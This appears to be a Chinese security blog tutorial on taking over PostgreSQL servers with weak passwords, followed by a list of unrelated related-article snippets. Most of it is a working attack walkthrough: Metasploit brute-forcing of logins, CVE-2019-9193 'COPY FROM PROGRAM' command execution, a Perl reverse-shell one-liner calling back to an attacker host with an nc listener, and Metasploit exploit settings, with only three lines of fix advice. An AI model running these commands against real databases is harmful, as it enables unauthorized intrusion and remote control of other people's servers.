PostgresSQL弱密码导致命令执行

article/2025/8/20 1:28:08

7638abdcdd6eb83cd3d164720d2a898e.gif

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维3b41c444c1afe4d21bace571d4aee755.png

让我们每天进步一点点

简介

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。

当该服务配置不当开放到外网时可以被暴力破解密码,获得任意用户密码登录成功后使用(CVE-2019-9193)高权限命令执行漏洞即可反弹管理员shell

实战

1.使用nmap或者fofa发现该端口或者相关服务

c24bdec4a50336c19cc1f9d59c5478ff.png

2.使用kali系统中msf渗透模型进行暴力破解用户密码。

msfconsole   //进入msf工具
use auxiliary/scanner/postgres/postgres_login  //进入暴力破解模块
set rhosts 1.1.1.1 //添加目标ip
set rport 5432  //添加目标端口
set user_file /home/taibai/1  //后面的路径是用户名字典
set pass_file /home/taibai/2  //后面的路径是密码字典
show options  //查看相关配置信息
run  //开始运行

78d23e865340844ec531f61f29c25afb.png

破解成功后会有提示破解的用户密码(用户密码字典在渗透工具集里面有收集好的可以直接用哈,微信公众号回复任意就可以获取资源列表)

96477ff3aef8d7ff0b0668a61adc0810.png

3.使用破解后的用户名密码登录

psql -h 1.1.1.1 -U postgres -W    //连接后提示输入密码

21a4671dd7e08a74e938734cbf61b78f.png

4.使用(CVE-2019-9193)高权限命令执行漏洞执行命令

DROP TABLE IF EXISTS cmd_exec;  //删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text);  //创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id';   //通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec;   //查看执行结果

b53729263e6a171660385db69f811fb2.png

3bdffd03b5613642e166ad81a0228f78.png

7e6eadd812dbb144543ad0b80cf41dec.png

5.使用nc反弹shell(注意需要公网ip地址)

//攻击机上执行
nc -vv -l -p 1234//perl命令来反弹shell
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"2.2.2.2:1234\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

6.如果上面不行可以直接使用msf中利用模块(注意需要公网ip地址)

set rhosts 1.1.1.1  //配置目标ip
set rport 5432   //配置目标端口
set username postgres  //配置目标用户名
set password 123456   //配置目标密码
set lhost 2.2.2.2   //配置反弹ip
set lport 1234   //配置反弹端口
show options  //查看配置
exp  //运行

1daa044c191d2d40f53f585aa878e97f.png

7.修复建议

升级最新稳定版本

配置端口白名单不要开放到外网

配置强密码

往期内容

Redis未授权漏洞利用

灭世之Apache Log4j2 远程代码执行漏洞

CTF资源上新

0c72ffd9ed293a5e6ec77fee070c2c9d.gif

4a990652b98f14837eba497191734da7.gif

更多资讯长按二维码 关注我们

   专业的信息安全团队,给你最安全的保障。定期推送黑客知识和网络安全知识文章,让各位了解黑客的世界,学习黑客知识,普及安全知识,提高安全意识。

觉得不错点个“赞”呗e45ae18e7e09f04c641d19876883914e.png      


http://chatgpt.dhexx.cn/article/n3yo6g5M.shtml

相关文章

MySQL弱密码和webshell

MySQL弱密码和webshell问题文档 一、了解漏洞 1、mysql是什么 MySQL 是最流行的关系型数据库管理系统&#xff0c;在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System&#xff1a;关系数据库管理系统)应用软件之一。 关系数据库管理系统&#xff08;…

通用数据库弱密码检测解决方案

通过加密解密算法检验数据库用户密码是否存在弱密码问题&#xff0c;可适用于主流的数据库产品&#xff08;Oracle&#xff0c;MySQL&#xff0c;Postgres&#xff0c;SQLServer&#xff0c;达梦8&#xff0c;人大金仓8&#xff09;&#xff0c;解决传统通过碰库方式检测的效率…

使用Hydra破解弱密码

实验目的&#xff1a; 使用kali的Hydra工具破解CtenOs7的密码&#xff1b;. 实验环境&#xff1a; 系统: CentOs7 kali CentOs7用户名1&#xff1a;root 密码&#xff1a;123456 kali用户名&#xff1a;kali 密码&am…

Tomcat 弱密码爆破 漏洞复现

Tomcat 弱密码爆破 漏洞复现 一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现 四、漏洞POC五、参考链接 一、漏洞描述 Tomcat有一个管理后台&#xff0c;其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置&#xff0c;不少管理员为了方便&…

密码套件 and 弱密码套件漏洞

目录 what is 密码套件 (TLS cipher suit) potocol版本 SSL vs TLS key exchange Authentication : Cipher&#xff1a; MAC&#xff1a; 常见密码套件 什么是“弱密码套件”漏洞 what is 密码套件 (TLS cipher suit) 当一个client端browser试图去访问webapp的时候&am…

linux弱密码检测

1.安装一个john软件包用来检测弱密码 2.进入桌面可以看到 3.使用mkdir /soft 在/下创建一个soft的文件夹;然后使用mv命令:mv john-1.8.0.tar.xz /soft/ 把john包移动到soft下面: 4.在soft的文件夹下使用:tar -xf john-1.8.0.tar.xz 解压缩: 5.进入到src目录下: 6.ma…

Tomcat控制台弱密码漏洞

文章目录 一、漏洞介绍1.1 漏洞原理1.2 影响版本1.3 触发条件 二、环境搭建2.1 环境信息2.2 tomcat配置2.3 配置漏洞环境 三、攻击过程3.1 控制台弱密码3.2 冰蝎控制 四、漏洞修复 一、漏洞介绍 1.1 漏洞原理 Tomcat支持后台部署War文件&#xff0c;默认情况下管理页面仅允许本…

前端JS弱密码验证

前端JS弱密码验证 前言JS文件使用姿势尾巴 前言 最近在学习uniapp开发&#xff0c;开发过程中要对用户密码做弱密码校验&#xff0c;然后总结了下常用的弱密码规则和校验方式&#xff0c;通过封装成js文件来提供一系列验证方法&#xff0c;下面就直接看封装后的leak-pwd-check…

信息安全学习3. 常用的攻击手段 弱密码

信息安全学习3. 弱密码 一、概念二、Linux系统密码安全性设置1. 口令复杂度设置2. 生成复杂密码方法(1) 使用keepass开源密码管理软件(2) 使用OpenSSL命令生成随机字符串(3) 在Linux中使用pwgen(4) 使用一些在线网站生成随机密码 3. 弱密码校验破解工具John the ripper 三、一些…

在线摩尔斯密码加密解密工具

在线摩尔斯密码工具&#xff0c;可实现将英文字母数字等转换成摩尔斯密码以及将摩尔斯密码转换成英文与数字的功能。 工具链接&#xff1a;http://www.atoolbox.net/Tool.php?Id764 摩尔斯电码&#xff08;又译为摩斯密码&#xff0c;Morse code&#xff09;是一种时通时断的…

Morse code(摩尔斯电码-摩斯密码)

摩尔斯电码&#xff08;又译为摩斯密码&#xff0c;Morse code&#xff09;是一种时通时断的信号代码&#xff0c;通过不同的排列顺序来表达不同的英文字母、数字和标点符号。它发明于1837年&#xff0c;发明者有争议&#xff0c;是美国人塞缪尔莫尔斯或者艾尔菲德维尔。 摩尔斯…

摩斯密码学习

摩斯密码&#xff08;morse code&#xff09;&#xff0c;是最普遍的密码&#xff0c;无人不知&#xff0c;无人不晓&#xff0c;但很复杂。 是一种图像化密码 O的来源&#xff1a;有三个— — — SOS&#xff1a;. . . — — — . . .

摩斯密码参照表

参考&#xff1a; A .&#xff0d; I . . R .&#xff0d;. 1.&#xff0d;&#xff0d;&#xff0d;&#xff0d; B &#xff0d;. . . J .&#xff0d;&#xff0d;&#xff0d; …

摩尔斯密码输出I LOVE YOU ,SOS

2叉树记忆摩斯密码 摩尔斯密码表 根据以上摩尔斯密码表我们可以分析出来I LOVE YOU相对应的国际摩尔斯密码为&#xff1a;… .-… — …- . -.-- — …- SOS求救的摩尔斯密码为… — …

摩尔斯电码笔记

文章目录 1. 前言2. 什么是摩尔斯电码&#xff1f;3. 摩尔斯电码是如何发明的&#xff1f;4. 摩尔斯电码还在使用吗&#xff1f;5. 如何快速记住6. 体验7. 形式表达8. 相关电影 1. 前言 最近突然想起之前学习过的莫斯密码已经忘记了&#xff0c;发现如果不实践的话&#xff0c…

【算法千题案例】每日LeetCode打卡——95.唯一摩尔斯密码词

&#x1f4e2;前言 &#x1f332;原题样例&#xff1a;唯一摩尔斯密码词&#x1f33b;C#方法&#xff1a;暴力法&#x1f33b;Java 方法&#xff1a;哈希集合 &#x1f4ac;总结 &#x1f4e2;前言 &#x1f680; 算法题 &#x1f680; &#x1f332; 每天打卡一道算法题&…

摩斯密码基础知识介绍

我嗯我可能闲的&#xff0c;就来看看摩斯密码这个著名的无线电编码是怎么回事~ 参考&#xff1a;百度百科https://baike.baidu.com/item/%E6%91%A9%E5%B0%94%E6%96%AF%E7%94%B5%E7%A0%81/1527853?fromtitle%E6%91%A9%E6%96%AF%E5%AF%86%E7%A0%81&fromid397016&fralad…

漫画:什么是摩尔斯电码?

摩尔斯电码是什么 摩尔斯电码&#xff08;Morse code&#xff09;&#xff0c;是1837年由美国人发明&#xff0c;本质上是一种对信息的编码&#xff0c;最初用于人们的远程通信。 那个时候&#xff0c;人们连电话都还没发明出来&#xff0c;更不用说手机和互联网了。人们远程通…

实验四:激光传感器实验,摩尔斯密码

注意&#xff1a;不要直视激光头&#xff0c;它会对你的眼睛造成很大的伤害。 注意&#xff1a;不要直视激光头&#xff0c;它会对你的眼睛造成很大的伤害。 注意&#xff1a;不要直视激光头&#xff0c;它会对你的眼睛造成很大的伤害。 OK&#xff0c;今天来讲一个稍微复杂…

摩斯密码加解密

摩斯密码又叫莫尔斯电码&#xff0c;摩斯电码 著名的SOS救难信号用莫尔斯电码表示为&#xff1a;...---...滴滴滴嗒嗒嗒滴滴滴 一、间隔时间 滴&#xff0c;1t&#xff0c;用.表示嗒&#xff0c;3t&#xff0c;用-表示滴嗒间&#xff0c;1t&#xff0c;不用表示字符间&#xff…